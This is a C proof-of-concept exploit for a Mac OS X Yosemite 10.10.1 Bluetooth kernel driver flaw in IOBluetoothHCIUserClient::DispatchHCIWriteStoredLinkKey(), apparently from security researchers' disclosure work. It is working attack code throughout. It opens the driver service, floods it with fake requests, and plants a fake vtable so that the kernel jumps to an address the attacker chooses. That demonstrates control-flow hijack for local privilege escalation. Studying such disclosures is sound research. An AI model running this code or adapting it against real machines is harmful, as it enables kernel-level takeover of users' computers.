/*  * lpe-issue1.c  * Written for Mac OS X Yosemite (10.10.1) by @joystick and @rpaleari.  *  * Exploits IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey()  *  * gcc -Wall -o lpe-issue1{,.c} -framework IOKit  *  */  #include <stdio.h> #include <stdlib.h> #include <string.h> #include <mach/mach.h> #include <mach/vm_map.h>   #include <IOKit/IOKitLib.h>   #define SIZE 0x1000   struct BluetoothCall {   uint64_t args[7];   uint64_t sizes[7];   uint64_t index; };   #ifndef bswap64 #   define bswap64(num)                         \   ( (((uint64_t)(num) << 56)                               )      \     | (((uint64_t)(num) << 40) & UINT64_C(0x00FF000000000000))        \     | (((uint64_t)(num) << 24) & UINT64_C(0x0000FF0000000000))        \     | (((uint64_t)(num) <<  8) & UINT64_C(0x000000FF00000000))        \     | (((uint64_t)(num) >>  8) & UINT64_C(0x00000000FF000000))        \     | (((uint64_t)(num) >> 24) & UINT64_C(0x0000000000FF0000))        \     | (((uint64_t)(num) >> 40) & UINT64_C(0x000000000000FF00))        \     | (((uint64_t)(num) >> 56)                               ) ) #endif   void create_requests(io_connect_t port) {   struct BluetoothCall a;   uint32_t i;   kern_return_t kr;     for (i = 0; i < 7; i++) {     a.args[i] = (uint64_t) calloc(SIZE, sizeof(char));     a.sizes[i] = SIZE;   }     /* DispatchHCIRequestCreate() */  a.index = 0x0;     *(uint64_t *)a.args[0] = 5*1000;  /* Timeout */  memset((void *)a.args[1], 0x81, 0x1000);   memset((void *)a.args[2], 0x82, 0x1000);   memset((void *)a.args[3], 0x83, 0x1000);   memset((void *)a.args[4], 0x84, 0x1000);   memset((void *)a.args[5], 0x85, 0x1000);   memset((void *)a.args[6], 0x86, 0x1000);     for(i = 0; i < 500; i++) {     kr = IOConnectCallMethod((mach_port_t) port, /* Connection */                 (uint32_t) 0,       /* Selector */                 NULL, 0,            /* input, inputCnt */                 (const void*) &a,   /* inputStruct */                 120,                /* inputStructCnt */                 NULL, NULL, NULL, NULL); /* Output stuff */      if(kr == 0xe00002bd) /* Full */      break;   } }   int main(void) {   struct BluetoothCall a;   int i;   void *landing_page = calloc(SIZE, sizeof(char));     /* Init a */  for (i = 0; i < 7; i++) {     a.args[i] = (uint64_t) calloc(SIZE, sizeof(char));     a.sizes[i] = SIZE;   }     /* Finding vuln service */  io_service_t service =     IOServiceGetMatchingService(kIOMasterPortDefault,                 IOServiceMatching("IOBluetoothHCIController"));     if (!service) {     return -1;   }     /* Connect to vuln service */  io_connect_t port = (io_connect_t) 0;   kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);   IOObjectRelease(service);   if (kr != kIOReturnSuccess) {     return kr;   }     /* Populating with fake requests. */  create_requests(port);     /* IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey() */  a.index = 42;   /* Req number */  *((uint32_t *)a.args[0]) = 1;   /* num_of_keys */  *((uint32_t *)a.args[1]) = 0x20;     /* Padding */  memset((void *)a.args[3], 0x33, 152);   /* mov     rdi, [r14+0AB8h] */  *((uint64_t *)(a.args[3]+152)) = bswap64((uint64_t)landing_page);   /* mov rax, [rdi] */  *((uint64_t *)((uint64_t)landing_page)) = (uint64_t)landing_page;   /* call [rax+0x1d0]: this will trigger a #GP calling 0x4141414142424242 */  *((uint64_t *)((uint64_t)landing_page+0x1d0)) = (uint64_t) 0x4141414142424242;     /* Here some fixing to the vtable is required to return cleanly after the exploit */  #if 0   /* Debug print */  for(i = 0; i < 120; i++) {     if(i % 8 == 0) printf("\n");     printf("\\x%02x", ((unsigned char *)&a)[i]);   }   printf("\n"); #endif     kr = IOConnectCallMethod((mach_port_t) port, /* Connection */               (uint32_t) 0,       /* Selector */               NULL, 0,            /* input, inputCnt */               (const void*) &a,   /* inputStruct */               120,                /* inputStructCnt */               NULL, NULL, NULL, NULL); /* Output stuff */  printf("kr: %08x\n", kr);     return IOServiceClose(port); }